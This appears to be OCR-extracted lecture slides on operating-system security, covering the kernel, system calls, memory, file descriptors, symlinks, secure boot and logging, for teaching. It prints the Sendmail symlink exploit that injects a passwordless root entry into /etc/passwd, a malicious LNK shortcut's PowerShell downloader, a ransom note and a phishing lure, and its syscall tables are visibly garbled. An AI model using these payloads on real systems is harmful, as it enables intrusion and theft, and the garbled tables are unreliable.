Operating System

Provides the interface between the users of a computer and its hardware
Manages devices and software resources
Provides common services for computer programs

Key OS concepts and components
Kernel
Program execution and multitasking
Memory management
Interrupts and device drivers
Core services: disk, network, …
User interface

Security mechanisms are needed in all these components
OS Security

Different security needs at multiple levels

The OS is a core part of the TCB
  Need to protect itself against various threats: physical attacks, tampering, software vulnerabilities, …

Multi-user OS: shared by different users with different levels of access
  Protect users of the same class from each other
  Protect higher-privileged users from less-privileged users

Multi-tasking OS: many programs are running concurrently
  Protect running applications from interference by other (potentially malicious) running applications
  Protect an application’s resources at any given time
The Kernel

Runs in *supervisor mode*

- Can execute all possible CPU instructions, including privileged ones
- Can access protected parts of memory
- Can control memory management hardware and other peripherals

Hardware-enforced protection

- E.g., x86 has four privilege “rings”
- Kernel runs at ring 0 (most privileged level)
- User space applications run at ring 3 (less privileged level)
- Rings 1 and 2 are rarely used: most OSs rely on paging, and pages have only one bit for privilege level (Supervisor or User)
I/O

Switching protection modes is a critical operation
Unprivileged code should not be able to freely change mode

Three ways to go from userland to kernel space:

*Hardware interrupts*: signals from devices that the OS should take action
  
  E.g., key press, mouse move, network data is available, …
  
  Asynchronous: can occur in the middle of instruction execution

*Exceptions*: anomalous conditions that require special handling
  
  E.g., division by zero, illegal memory access, breakpoint, …
  
  Also known as software interrupts: synchronous

*Trap instructions*: explicit transfer of control to the kernel
  
  Used to implement *system calls*

  Before Linux v2.5: `int 0x80` instruction (software interrupt) \(\rightarrow\) transfer control to the 0x80th slot of the CPU’s Interrupt Descriptor Table (IDT)

  After Linux v2.5: syscall/sysret and sysenter/sysexit: faster (avoid the cost of interrupt handling)
System Calls

Each system call has a different system call number

System call number and arguments are passed according to the Application Binary Interface (ABI)
  E.g., through predefined registers

Once everything is set up, the trap instruction is invoked
  Switch to kernel mode
  The kernel reads the syscall number from the predefined register
  Looks up the corresponding syscall handling routine
  Carries out the operation and writes any return value to the proper register (according to the ABI)
  Returns back to the user space program
System Libraries

Performing system calls manually is cumbersome

System libraries provide wrapper functions for easily performing system operations

Linux: C standard library (libc)

   Mostly one-to-one mapping between system calls and corresponding libc functions

Windows: Windows API

   Split across several DLLs: kernel32.dll, advapi32.dll, user32.dll, …

   Complex mapping to system call numbers, which may change across Windows versions
<table>
<thead>
<tr>
<th>#</th>
<th>Name</th>
<th>ecx</th>
<th>cbx</th>
<th>ccx</th>
<th>edx</th>
<th>esi</th>
<th>edi</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>sys_restart_syscall</td>
<td>0x00</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>kernel/signal.c:2058</td>
</tr>
<tr>
<td>1</td>
<td>sys_exit</td>
<td>0x01</td>
<td>int_error_code</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>kernel/exit.c:1046</td>
</tr>
<tr>
<td>2</td>
<td>sys_fork</td>
<td>0x02</td>
<td>struct_pt_regs</td>
<td>*buf</td>
<td>size_t_count</td>
<td>-</td>
<td>-</td>
<td>arch/alpha/kernel/entry.S:716</td>
</tr>
<tr>
<td>3</td>
<td>sys_read</td>
<td>0x03</td>
<td>unsigned_int_fd</td>
<td>char __user *buf</td>
<td>size_t_count</td>
<td>-</td>
<td>-</td>
<td>fs/read_write.c:391</td>
</tr>
<tr>
<td>4</td>
<td>sys_write</td>
<td>0x04</td>
<td>unsigned_int_fd</td>
<td>const char __user *buf</td>
<td>size_t_count</td>
<td>-</td>
<td>-</td>
<td>fs/read_write.c:408</td>
</tr>
<tr>
<td>5</td>
<td>sys_open</td>
<td>0x05</td>
<td>const char __user int_flags</td>
<td>int_mode</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>fs/open.c:900</td>
</tr>
<tr>
<td>6</td>
<td>sys_close</td>
<td>0x06</td>
<td>unsigned_int_fd</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>fs/open.c:969</td>
</tr>
<tr>
<td>7</td>
<td>sys_waitpid</td>
<td>0x07</td>
<td>pid_t_pid</td>
<td>int_user</td>
<td>size_t</td>
<td>-</td>
<td>-</td>
<td>kernel/exit.c:1771</td>
</tr>
<tr>
<td>8</td>
<td>sys_create</td>
<td>0x08</td>
<td>const char __user int_mode</td>
<td>int_pathname</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>fs/open.c:933</td>
</tr>
<tr>
<td>9</td>
<td>sys_link</td>
<td>0x09</td>
<td>const char __user const char __user</td>
<td>oldname</td>
<td>newname</td>
<td>-</td>
<td>-</td>
<td>fs/namei.c:2520</td>
</tr>
<tr>
<td>10</td>
<td>sys_unlink</td>
<td>0x0a</td>
<td>const char __user</td>
<td>int_pathname</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>fs/namei.c:2352</td>
</tr>
<tr>
<td>11</td>
<td>sys_execve</td>
<td>0x0b</td>
<td>char __user *filename</td>
<td>char __user *user</td>
<td>struct_pt_regs</td>
<td>-</td>
<td>-</td>
<td>arch/alpha/kernel/entry.S:925</td>
</tr>
<tr>
<td>12</td>
<td>sys_chdir</td>
<td>0x0c</td>
<td>const char __user</td>
<td>int_user</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>fs/open.c:361</td>
</tr>
<tr>
<td>13</td>
<td>sys_time</td>
<td>0x0d</td>
<td>time_t_user</td>
<td>time_t</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>kernel/posix-timers.c:855</td>
</tr>
<tr>
<td>14</td>
<td>sys_mknod</td>
<td>0x0e</td>
<td>const char __user int_mode</td>
<td>filename</td>
<td>unsigned dev</td>
<td>-</td>
<td>-</td>
<td>fs/namei.c:2067</td>
</tr>
<tr>
<td>15</td>
<td>sys_chmod</td>
<td>0x0f</td>
<td>const char __user mode_t_mode</td>
<td>filename</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>fs/open.c:507</td>
</tr>
<tr>
<td>16</td>
<td>sys_lchown16</td>
<td>0x10</td>
<td>const char __user old_uid_t_user</td>
<td>old_gid_t</td>
<td>group</td>
<td>-</td>
<td>-</td>
<td>kernel/uid16.c:27</td>
</tr>
<tr>
<td>17</td>
<td>not implemented</td>
<td>0x11</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>18</td>
<td>sys_stat</td>
<td>0x12</td>
<td>char __user *filename</td>
<td>struct_old_kernel_stat__user</td>
<td>*statbuf</td>
<td>-</td>
<td>-</td>
<td>fs/stat.c:150</td>
</tr>
<tr>
<td>19</td>
<td>sys_lseek</td>
<td>0x13</td>
<td>unsigned_int_fd</td>
<td>off_t_offset</td>
<td>unsigned int</td>
<td>-</td>
<td>-</td>
<td>fs/read_write.c:167</td>
</tr>
<tr>
<td>20</td>
<td>sys_getpid</td>
<td>0x14</td>
<td>char __user</td>
<td>char __user</td>
<td>char __user</td>
<td>char __user</td>
<td>char __user</td>
<td>unsigned long flags</td>
</tr>
<tr>
<td>21</td>
<td>sys_mount</td>
<td>0x15</td>
<td>*dev_name</td>
<td>*dir_name</td>
<td>*type</td>
<td>*flags</td>
<td>*data</td>
<td>-</td>
</tr>
</tbody>
</table>
## Windows X86 System Call Table (NT/2000/XP/2003/Vista/2008/7/8/10)

**Author:** Mateusz "j00ru" Jurczyk ([j00ru.vx tech blog](http://j00ru.vxexillium.org/ntapi/))  
**Team:** Vexillium

See also: Windows X86-64 System Call Table: [http://j00ru.vxexillium.org/ntapi_64/](http://j00ru.vxexillium.org/ntapi_64/)

Special thanks to: MeMek

Windows NT, 2000 syscalls and layout by Metasploit Team

### Enter the Syscall ID to highlight (hex):

- **Highlight**
- **Show all**  
- **Hide all**

<table>
<thead>
<tr>
<th>System Call Symbol</th>
<th>Windows NT (hide)</th>
<th>Windows 2000 (hide)</th>
<th>Windows XP (hide)</th>
</tr>
</thead>
<tbody>
<tr>
<td>NtAcceptConnectPort</td>
<td>0x0000 0x0000 0x0000 0x0000</td>
<td>0x0000 0x0000 0x0000 0x0000</td>
<td>0x0000 0x0000 0x0000 0x0000</td>
</tr>
<tr>
<td>NtAccessCheck</td>
<td>0x0001 0x0001 0x0001 0x0001</td>
<td>0x0001 0x0001 0x0001 0x0001</td>
<td>0x0001 0x0001 0x0001 0x0001</td>
</tr>
<tr>
<td>NtAccessCheckAndAuditAlarm</td>
<td>0x0002 0x0002 0x0002 0x0002</td>
<td>0x0002 0x0002 0x0002 0x0002</td>
<td>0x0002 0x0002 0x0002 0x0002</td>
</tr>
<tr>
<td>NtAccessCheckByType</td>
<td>0x0003 0x0003 0x0003 0x0003</td>
<td>0x0003 0x0003 0x0003 0x0003</td>
<td>0x0003 0x0003 0x0003 0x0003</td>
</tr>
<tr>
<td>NtAccessCheckByTypeAndAuditAlarm</td>
<td>0x0004 0x0004 0x0004 0x0004</td>
<td>0x0004 0x0004 0x0004 0x0004</td>
<td>0x0004 0x0004 0x0004 0x0004</td>
</tr>
<tr>
<td>NtAccessCheckByTypeResultList</td>
<td>0x0005 0x0005 0x0005 0x0005</td>
<td>0x0005 0x0005 0x0005 0x0005</td>
<td>0x0005 0x0005 0x0005 0x0005</td>
</tr>
<tr>
<td>NtAccessCheckByTypeResultListAndAuditAlarm</td>
<td>0x0006 0x0006 0x0006 0x0006</td>
<td>0x0006 0x0006 0x0006 0x0006</td>
<td>0x0006 0x0006 0x0006 0x0006</td>
</tr>
<tr>
<td>NtAccessCheckByTypeResultListAndAuditAlarmByHandle</td>
<td>0x0007 0x0007 0x0007 0x0007</td>
<td>0x0007 0x0007 0x0007 0x0007</td>
<td>0x0007 0x0007 0x0007 0x0007</td>
</tr>
<tr>
<td>NtAcquireCMFViewOwnership</td>
<td>0x0008 0x0008 0x0008 0x0008</td>
<td>0x0008 0x0008 0x0008 0x0008</td>
<td>0x0008 0x0008 0x0008 0x0008</td>
</tr>
<tr>
<td>NtAddAtom</td>
<td>0x0009 0x0009 0x0009 0x0009</td>
<td>0x0009 0x0009 0x0009 0x0009</td>
<td>0x0009 0x0009 0x0009 0x0009</td>
</tr>
<tr>
<td>NtAddAtomEx</td>
<td>0x000a 0x000a 0x000a 0x000a</td>
<td>0x000a 0x000a 0x000a 0x000a</td>
<td>0x000a 0x000a 0x000a 0x000a</td>
</tr>
<tr>
<td>NtAddBootEntry</td>
<td>0x000b 0x000b 0x000b 0x000b</td>
<td>0x000b 0x000b 0x000b 0x000b</td>
<td>0x000b 0x000b 0x000b 0x000b</td>
</tr>
<tr>
<td>NtAddDriverEntry</td>
<td>0x000c 0x000c 0x000c 0x000c</td>
<td>0x000c 0x000c 0x000c 0x000c</td>
<td>0x000c 0x000c 0x000c 0x000c</td>
</tr>
<tr>
<td>NtAdjustGroupsToken</td>
<td>0x000d 0x000d 0x000d 0x000d</td>
<td>0x000d 0x000d 0x000d 0x000d</td>
<td>0x000d 0x000d 0x000d 0x000d</td>
</tr>
<tr>
<td>NtAdjustPrivilegesToken</td>
<td>0x000e 0x000e 0x000e 0x000e</td>
<td>0x000e 0x000e 0x000e 0x000e</td>
<td>0x000e 0x000e 0x000e 0x000e</td>
</tr>
<tr>
<td>NtAdjustTokenClaimsAndDeviceGroups</td>
<td>0x000f 0x000f 0x000f 0x000f</td>
<td>0x000f 0x000f 0x000f 0x000f</td>
<td>0x000f 0x000f 0x000f 0x000f</td>
</tr>
<tr>
<td>NtAlertResumeThread</td>
<td>0x0010 0x0010 0x0010 0x0010</td>
<td>0x0010 0x0010 0x0010 0x0010</td>
<td>0x0010 0x0010 0x0010 0x0010</td>
</tr>
<tr>
<td>NtAlertThread</td>
<td>0x0011 0x0011 0x0011 0x0011</td>
<td>0x0011 0x0011 0x0011 0x0011</td>
<td>0x0011 0x0011 0x0011 0x0011</td>
</tr>
<tr>
<td>NtAlertThreadByThreadId</td>
<td>0x0012 0x0012 0x0012 0x0012</td>
<td>0x0012 0x0012 0x0012 0x0012</td>
<td>0x0012 0x0012 0x0012 0x0012</td>
</tr>
<tr>
<td>-------------</td>
<td>---------------------</td>
<td>---------------</td>
<td>---------------------</td>
</tr>
<tr>
<td>SP1</td>
<td>SP2</td>
<td>SP3</td>
<td>SP0</td>
</tr>
<tr>
<td>0</td>
<td>0x0000</td>
<td>0x0000</td>
<td>0x0000</td>
</tr>
<tr>
<td>01</td>
<td>0x0001</td>
<td>0x0001</td>
<td>0x0001</td>
</tr>
<tr>
<td>02</td>
<td>0x0002</td>
<td>0x0002</td>
<td>0x0002</td>
</tr>
<tr>
<td>03</td>
<td>0x0003</td>
<td>0x0003</td>
<td>0x0003</td>
</tr>
<tr>
<td>04</td>
<td>0x0004</td>
<td>0x0004</td>
<td>0x0004</td>
</tr>
<tr>
<td>05</td>
<td>0x0005</td>
<td>0x0005</td>
<td>0x0005</td>
</tr>
<tr>
<td>06</td>
<td>0x0006</td>
<td>0x0006</td>
<td>0x0006</td>
</tr>
<tr>
<td>07</td>
<td>0x0007</td>
<td>0x0007</td>
<td>0x0007</td>
</tr>
<tr>
<td>08</td>
<td>0x0008</td>
<td>0x0008</td>
<td>0x0008</td>
</tr>
<tr>
<td>09</td>
<td>0x0009</td>
<td>0x0009</td>
<td>0x0009</td>
</tr>
<tr>
<td>0a</td>
<td>0x000a</td>
<td>0x000a</td>
<td>0x000a</td>
</tr>
<tr>
<td>0b</td>
<td>0x000b</td>
<td>0x000b</td>
<td>0x000b</td>
</tr>
<tr>
<td>0c</td>
<td>0x000c</td>
<td>0x000c</td>
<td>0x000c</td>
</tr>
<tr>
<td>0d</td>
<td>0x000d</td>
<td>0x000d</td>
<td>0x000d</td>
</tr>
</tbody>
</table>
Processes

An instance of a program that is being executed

Processes are created through forking
  E.g., by a shell, window manager, the init process, ...
  A child process inherits the permissions of the parent process
  Each process is identified by its PID

Process privileges
  User ID (uid): the user associated with the process
  Group ID (gid): the group of users for this process
  Effective user ID (euid): usually the same as uid, but may be changed to the ID of the program’s owner (through setuid bit)
  Example setuid programs: passwd, su, sudo, …
Memory Management

Each process has its own virtual address space
Containing the program code, data, stack, heap, ...

The OS maintains page tables that map virtual to physical memory (RAM) addresses
Each process has its own set of page tables
Access permissions are enforced at the page level

Memory Page Permissions

Old x86 CPUs have 1 bit per page: \textbf{W}

A page can be writable or not, but is always executable $\Rightarrow$ Code injection: write data into memory and then execute it

Modern CPUs have 2 bits per page: \textbf{W, X}

\textbf{W}^{\textbf{X}}: A page can be marked as writable but \textit{non-executable}

Code injection is prevented, but code reuse is still possible

Some new CPUs support 3 bits per page: \textbf{R, W, X}

Before, any mapped page was implicitly readable

Advanced code reuse attacks rely on reading a process’ code before executing it

\textbf{R}^{\textbf{X}}: Marking a code page as executable but \textit{non-readable}

prevents memory reads and still permits instruction fetches
Kernel Memory

The kernel is always mapped to the upper part of each process’ virtual address space

Facilitates fast user-kernel interactions

During servicing a syscall or exception handling, the kernel runs within the context of a preempted process

The kernel can access user space directly, e.g., to read user data or write the result of a system call

Reduced overhead: no need to flush the TLB

Unfortunately, this also facilitates local privilege escalation exploits (future lecture)

User-space processes cannot access kernel memory

Kernel pages have the supervisor bit set
Virtual Address Space

4GB in 32-bit mode

The kernel is always mapped into the address space of each process
Standard Process Memory Layout

Kernel space
User code CANNOT read from nor write to these addresses, doing so results in a Segmentation Fault

Stack (grows down)

Memory Mapping Segment
File mappings (including dynamic libraries) and anonymous mappings. Example: /lib/libc.so

Heap

BSS segment
Uninitialized static variables, filled with zeros. Example: static char *userName;

Data segment
Static variables initialized by the programmer. Example: static char *gonzo = “God's own prototype”;

Text segment (ELF)
Stores the binary image of the process (e.g., /bin/gonzo)

0xc0000000 == TASK_SIZE
Random stack offset
RLIMIT_STACK (e.g., 8MB)
Random mmap offset
program break
brk
start_brk
Random brk offset
end_data
start_data
end_code
0x08048000
0
Filesystem

Powerful abstraction about how non-volatile memory is organized

- Typically a hierarchy of files and folders
- OS-enforced access control based on file/directory permissions (previous lecture)

Often-quoted tenet of Unix systems: *everything is a file*
- Sockets, pipes, devices, …

Pseudo-devices and virtual file systems

- `/dev/urandom`: pseudo-random number generator
- `/proc`: process and system information
- `/sys`: kernel subsystems, hardware devices, …

*Exposing system information to non-privileged users is dangerous!*
Unix File Descriptors

To open a file, a process provides the file name and the desired access rights to the kernel

```
int fd = open("/etc/passwd", O_RDWR);
```

The kernel obtains the file’s inode number by resolving the name through the file system hierarchy

The system then determines if the requested access should be granted using the access control permissions

If access is granted, the kernel returns a file descriptor

The variable `fd` in essence becomes a capability

The value of the file descriptor corresponds to an index in the process’ file descriptor table

`open()` creates a new entry in the file descriptor table
File Descriptor Leaks

File descriptors can be passed around between processes

  fork(): a child process inherits copies of all open file descriptors of the parent

  File descriptors can be sent through sockets

read()/write() checks are based solely on the permissions the descriptor was opened with

Common vulnerability:

  Privileged process opens a sensitive file
  Fails to close it
  Forks a process with lower privileges
Symbolic Links

Links/shortcuts to other files

Insufficient checks on symbolic links can lead to serious vulnerabilities

Common vulnerability:

Vulnerable setuid program attempts to write a file (e.g., a temporary file in /tmp)

The attacker creates a symlink with the same name as the file the program intends to write to, and links it to a sensitive file

The vulnerable program will write (attacker-controlled) data to the file pointed by the symlink
Classic Example: Sendmail v8.8.4

When the Sendmail daemon cannot deliver a message, it stores it in /var/tmp/dead.letter

```
$ ln /etc/passwd /var/tmp/dead.letter
$ nc -v localhost 25
HELO localhost
MAIL FROM: this@host.doesn't.exist
RCPT TO: this@host.doesn't.exist
DATA
r00t::0:0:0wned:/root:/bin/sh
.
QUIT
```
Windows Shortcuts

Shell Link Binary Files (LNK)

Have been used by malware authors to dress up malicious files as benign

Windows hides file extensions by default (!)

. Lnk icon can be changed ➔ social engineering
. Lnk target can be anything ➔ malicious code
. Lnk files are not thought of as code ➔ may not be scanned

To infect systems

Autorun.inf, LNK exploits (e.g., Stuxent’s CVE-2010-2568), …

To achieve persistence

Shortcuts in certain system directories are automatically run
Despite its appearance, the INVOICE.PDF shortcut has no connection to a PDF file or any PDF-related application.
Dear [Name],

Your parcel was successfully delivered January 29 to UPS Station, but our courier could not contact you.

Please check the attachment for complete details!

With gratitude,
Wesley Quinn,
UPS Office Agent.

1 attachment: UPS-Parcel-ID-06700394.zip 1.3 KB
Target type: Application
Target location: v1.0
Target: C:\Windows\System32\WindowsPowerShell\v1.1
Start in:
Shortcut key: None
Run: Minimized
Comment:

Open File Location  Change Icon...  Advanced...
L....F .....P.O. :i....+00../C:\R1.Windows<
dowsPowerShellP....*WindowsPowerShell J1.v1.0
6....*v1.0.h2 J....*powershell.exe...
-ExecutionPolicy ByPass -NoProfile -comm
and $1l='".com',".com';function g($f){Start $f};function z
=0;$cs=[char]92;$fn=$env:temp+$cs;$dc=$fn+'a.
doc';$c='';$q=New-Object System.Random;if(!($T
est-Path $dc)){$i=0;$i -lt 2000;$i++){c= $c+[char]$q.Next(1,255);};$c | Out-File -File
Path $dc};g($dc);$lk=$fn+'a.txt';$y=z;if(!($T
est-Path $lk)){New-Item -Path $fn -Name 'a.txt'
-ItemType File;for($n=1;$n -le 2;$n++){f=$
$fn+'a'+n'.exe';$r='/counter/
+$n;for($i=$
1d;$i -lt $1l.length;$i++){$u=$l1[$i]+$r;$u='http://'+$u;$y.DownloadFile($u,$f);if($Test-Pa
th $f){$v=Get-Item $f;if($v.length -gt 10000)
{$ld=$i;g($f);break;}}}}}}.notepad.exe...
%....wN....]N.D...Q........1SPS..XF.L8C....&m
q../3514654291396398693762994963257228462292
445838

---**++--+=**$~

!!! IMPORTANT INFORMATION !!!!

All of your files are encrypted with RSA-2048 and AES-128 ciphers.
More information about the RSA and AES can be found here:
http://en.wikipedia.org/wiki/Advanced_Encryption_Standard

Decrypting of your files is only possible with the private key and decrypt program, which is on our secret server.
To receive your private key follow one of the links:

If all of this addresses are not available, follow these steps:
1. Download and install Tor Browser: https://www.torproject.org
2. After a successful installation, run the browser and wait for initialization.
3. Type in the address bar: g46mbrrpzfszonuk.onion/
4. Follow the instructions on the site.

!!! Your personal identification ID: ________________________________

.-$+++==+*-$

==$==**$_.+++$+~$$_$

++.*=+~|.*$|

---

file:///C:/Users/..torOSRIS.htm

file:///C:/Users/mehd/Desktop/OSRIS.htm

All of your files are encrypted with RSA-2048 and AES-128 ciphers.
More information about the RSA and AES can be found here:
http://en.wikipedia.org/wiki/Advanced_Encryption_Standard

Decrypting of your files is only possible with the private key and decrypt program, which is on our secret server.
To receive your private key follow one of the links:

If all of this addresses are not available, follow these steps:
1. Download and install Tor Browser: https://www.torproject.org/download/download-easy.html
2. After a successful installation, run the browser and wait for initialization.
3. Type in the address bar: g46mbrrpzfszonuk.onion/
4. Follow the instructions on the site.

!!! Your personal identification ID: ________________________________
Securing the Boot Process

How can we trust the OS that is running?

Need to secure the whole boot process
BIOS ➔ OS loader ➔ Kernel

BIOS/firmware: can be infected
Low-level access, hidden by the OS (!)

Boot device: can be changed
E.g., boot from USB/DVD and then read data off the main disk

Master boot record (MBR): can be infected
First disk sector of the startup drive, containing the boot loader
Both BIOS and MBR viruses can survive OS reinstallation (!)
Example: Windows 7 Boot Process
Verified/Trusted/Secure Boot

Full disk encryption

Secure the disk contents (e.g., against externally-loaded OSs or hard disk removal)

UEFI Secure Boot

Prevent the loading of firmware/OS loaders/kernels/drivers that are not cryptographically signed

Each piece of code verifies that the signature on the next piece of code in the boot chain is valid, and if so, passes execution on to it

Trusted Platform Module (TPM)

Dedicated crypto-processor providing various capabilities

Secure generation of keys, random number generator, remote attestation, sealed storage, ...

Both UEFI and TPM assist in building a root of trust
Example: Windows 10 Boot Process

Secure Boot
UEFI firmware: load only trusted bootloaders

Trusted Boot
TPM: check the integrity of every component before loading it

Early Launch Anti-Malware
Prevent unapproved drivers from loading

Measured Boot
Remote attestation: each loaded component is logged, and the log is sent to a trusted host for verification

© Microsoft - https://docs.microsoft.com/en-us/windows/threat-protection/secure-the-windows-10-boot-process
After the Boot Process

Hibernation: preserve state when the system is powered off

Entire content of volatile memory (RAM) is stored on disk (e.g., C:\hiberfil.sys)
Including passwords, cryptographic keys, private information, …
Countermeasure: full disk encryption

Cold boot attacks

DRAM retains its content for several seconds after power is lost
Cold reboot (just hit the restart switch): OS doesn’t have the chance to cleanup anything
Immediately boot a lightweight imaging tool (instead of the normal OS) to dump DRAM contents
Alternative: remove the DIMMs (preferably after freezing them) and plug them to a compatible machine
Figure 5: Before powering off the computer, we spray an upside-down canister of multipurpose duster directly onto the memory chips, cooling them to $-50^\circ$C. At this temperature, the data will persist for several minutes after power loss with minimal error, even if we remove the DIMM from the computer.

Monitoring and Logging

“Situational awareness:” keep track of system activities
   To detect suspicious or unanticipated incidents
   To understand how a breach happened and recover from it

Myriad events: login attempts, file accesses, spawned processes, network connections, DNS resolutions, inserted devices, ...

Many OS facilities
   System-wide events: Windows event log, /var/log, ...
   Fine-grained monitoring: process-level events, system call monitoring, library interposition, ...

What to log?
   Everything: costly in terms of runtime and space overhead
   Pick carefully: crucial information may be missed/ignored

Can the attacker scrub the logs?
   Append-only file system, remote location, ...
NAME
auditd - The Linux Audit daemon

SYNOPSIS
auditd [-f] [-l] [-n] [-s disable|enable|nochange]

DESCRIPTION
auditd is the userspace component to the Linux Auditing System. It's responsible for writing audit records to the disk. Viewing the logs is done with the ausearch or aureport utilities. Configuring the audit system or loading rules is done with the auditctl utility. During startup, the rules in /etc/audit/audit.rules are read by auditctl and loaded into the kernel. Alternately, there is also an augenrules program that reads rules located in /etc/audit/rules.d/ and compiles them into an audit.rules file. The audit daemon itself has some configuration options that the admin may wish to customize. They are found in the auditd.conf file.

OPTIONS
-f leave the audit daemon in the foreground for debugging. Messages also go to stderr rather than the audit log.
-l allow the audit daemon to follow symlinks for config files.
-n no fork. This is useful for running off of inittab or systemd.
-s=ENABLE_STATE specify when starting if auditd should change the current value for the kernel enabled flag. Valid values for ENABLE_STATE are
The Sysinternals web site was created in 1996 by Mark Russinovich to host his advanced system utilities and technical information. Whether you’re an IT Pro or a developer, you’ll find Sysinternals utilities to help you manage, troubleshoot and diagnose your Windows systems and applications.

- Read the official guide to the Sysinternals tools, Troubleshooting with the Windows Sysinternals Tools
- Watch Mark’s top-rated Case-of-the-Unexplained troubleshooting presentations and other webcasts
- Read Mark’s Blog which highlight use of the tools to solve real problems
- Check out the Sysinternals Learning Resources page
- Post your questions in the Sysinternals Forum
<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>File Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Friday, May 30, 2008</td>
<td>3:55 PM</td>
<td>About This Site.txt</td>
</tr>
<tr>
<td>Friday, February 17, 2017</td>
<td>2:40 AM</td>
<td>accesschk.exe</td>
</tr>
<tr>
<td>Friday, February 17, 2017</td>
<td>2:40 AM</td>
<td>accesschk64.exe</td>
</tr>
<tr>
<td>Wednesday, November 1, 2006</td>
<td>1:06 PM</td>
<td>AccessEnum.exe</td>
</tr>
<tr>
<td>Thursday, July 12, 2007</td>
<td>5:26 PM</td>
<td>AdExplorer.chm</td>
</tr>
<tr>
<td>Wednesday, November 14, 2012</td>
<td>10:22 AM</td>
<td>ADEExplorer.exe</td>
</tr>
<tr>
<td>Tuesday, October 27, 2015</td>
<td>12:13 AM</td>
<td>ADInsight.chm</td>
</tr>
<tr>
<td>Tuesday, October 27, 2015</td>
<td>12:13 AM</td>
<td>ADInsight.exe</td>
</tr>
<tr>
<td>Wednesday, November 1, 2006</td>
<td>1:05 PM</td>
<td>adrestore.exe</td>
</tr>
<tr>
<td>Saturday, August 27, 2016</td>
<td>3:11 AM</td>
<td>Autologon.exe</td>
</tr>
<tr>
<td>Tuesday, May 16, 2017</td>
<td>4:02 AM</td>
<td>autoruns.chm</td>
</tr>
<tr>
<td>Tuesday, May 16, 2017</td>
<td>4:02 AM</td>
<td>autoruns.exe</td>
</tr>
<tr>
<td>Tuesday, May 16, 2017</td>
<td>4:02 AM</td>
<td>Autoruns64.exe</td>
</tr>
<tr>
<td>Tuesday, May 16, 2017</td>
<td>4:02 AM</td>
<td>autorunsc.exe</td>
</tr>
<tr>
<td>Tuesday, May 16, 2017</td>
<td>4:02 AM</td>
<td>autorunsc64.exe</td>
</tr>
<tr>
<td>Friday, June 30, 2017</td>
<td>3:04 AM</td>
<td>Bginfo.exe</td>
</tr>
<tr>
<td>Friday, June 30, 2017</td>
<td>3:04 AM</td>
<td>Bginfo64.exe</td>
</tr>
<tr>
<td>Wednesday, November 1, 2006</td>
<td>1:06 PM</td>
<td>Cacheset.exe</td>
</tr>
<tr>
<td>Wednesday, June 29, 2016</td>
<td>9:42 AM</td>
<td>Clockres.exe</td>
</tr>
<tr>
<td>Wednesday, June 29, 2016</td>
<td>9:42 AM</td>
<td>Clockres64.exe</td>
</tr>
<tr>
<td>Wednesday, June 29, 2016</td>
<td>9:42 AM</td>
<td>Contig.exe</td>
</tr>
<tr>
<td>Wednesday, June 29, 2016</td>
<td>9:42 AM</td>
<td>Contig64.exe</td>
</tr>
<tr>
<td>Monday, August 18, 2014</td>
<td>7:29 AM</td>
<td>Coreinfo.exe</td>
</tr>
<tr>
<td>Wednesday, September 27, 2006</td>
<td>5:04 AM</td>
<td>ctrl2cap.amd.sys</td>
</tr>
<tr>
<td>Wednesday, November 1, 2006</td>
<td>1:05 AM</td>
<td>ctrl2cap.exe</td>
</tr>
<tr>
<td>Sunday, November 21, 1999</td>
<td>5:20 PM</td>
<td>ctrl2cap.nt4.sys</td>
</tr>
<tr>
<td>Sunday, November 21, 1999</td>
<td>6:46 PM</td>
<td>ctrl2cap.nt5.sys</td>
</tr>
<tr>
<td>Thursday, September 15, 2005</td>
<td>8:49 AM</td>
<td>dbgview.chm</td>
</tr>
<tr>
<td>Monday, December 3, 2012</td>
<td>10:10 AM</td>
<td>Dbgview.exe</td>
</tr>
<tr>
<td>Wednesday, November 1, 2006</td>
<td>9:06 PM</td>
<td>DEFRAF.EXE</td>
</tr>
<tr>
<td>Wednesday, October 17, 2012</td>
<td>5:28 PM</td>
<td>Desktops.exe</td>
</tr>
<tr>
<td>Tuesday, December 17, 2013</td>
<td>11:46 AM</td>
<td>Disk2vhd.chm</td>
</tr>
<tr>
<td>Monday, January 20, 2014</td>
<td>2:16 AM</td>
<td>disk2vhd.exe</td>
</tr>
<tr>
<td>Wednesday, June 29, 2016</td>
<td>9:42 AM</td>
<td>diskext.exe</td>
</tr>
<tr>
<td>Wednesday, June 29, 2016</td>
<td>9:42 AM</td>
<td>diskext64.exe</td>
</tr>
<tr>
<td>Wednesday, November 1, 2006</td>
<td>1:06 PM</td>
<td>Diskmap.exe</td>
</tr>
<tr>
<td>Process</td>
<td>CPU</td>
<td>Private Bytes</td>
</tr>
<tr>
<td>------------------------</td>
<td>-----</td>
<td>---------------</td>
</tr>
<tr>
<td>System Idle Process</td>
<td>93.63</td>
<td>0 K</td>
</tr>
<tr>
<td>System</td>
<td>0.13</td>
<td>132 K</td>
</tr>
<tr>
<td>Interrupts</td>
<td>&lt;0.01</td>
<td>2,732 K</td>
</tr>
<tr>
<td>Memory Compression</td>
<td>0.47</td>
<td>0 K</td>
</tr>
<tr>
<td>nets.exe</td>
<td>&lt;0.01</td>
<td>3,408 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>0.05</td>
<td>7,760 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>0.01</td>
<td>3,634 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>16.100</td>
<td>12,392 K</td>
</tr>
<tr>
<td>dshot.exe</td>
<td>0.03</td>
<td>6,224 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>0.01</td>
<td>10,396 K</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>12.704</td>
<td>2,240 K</td>
</tr>
<tr>
<td>svchost.exe</td>
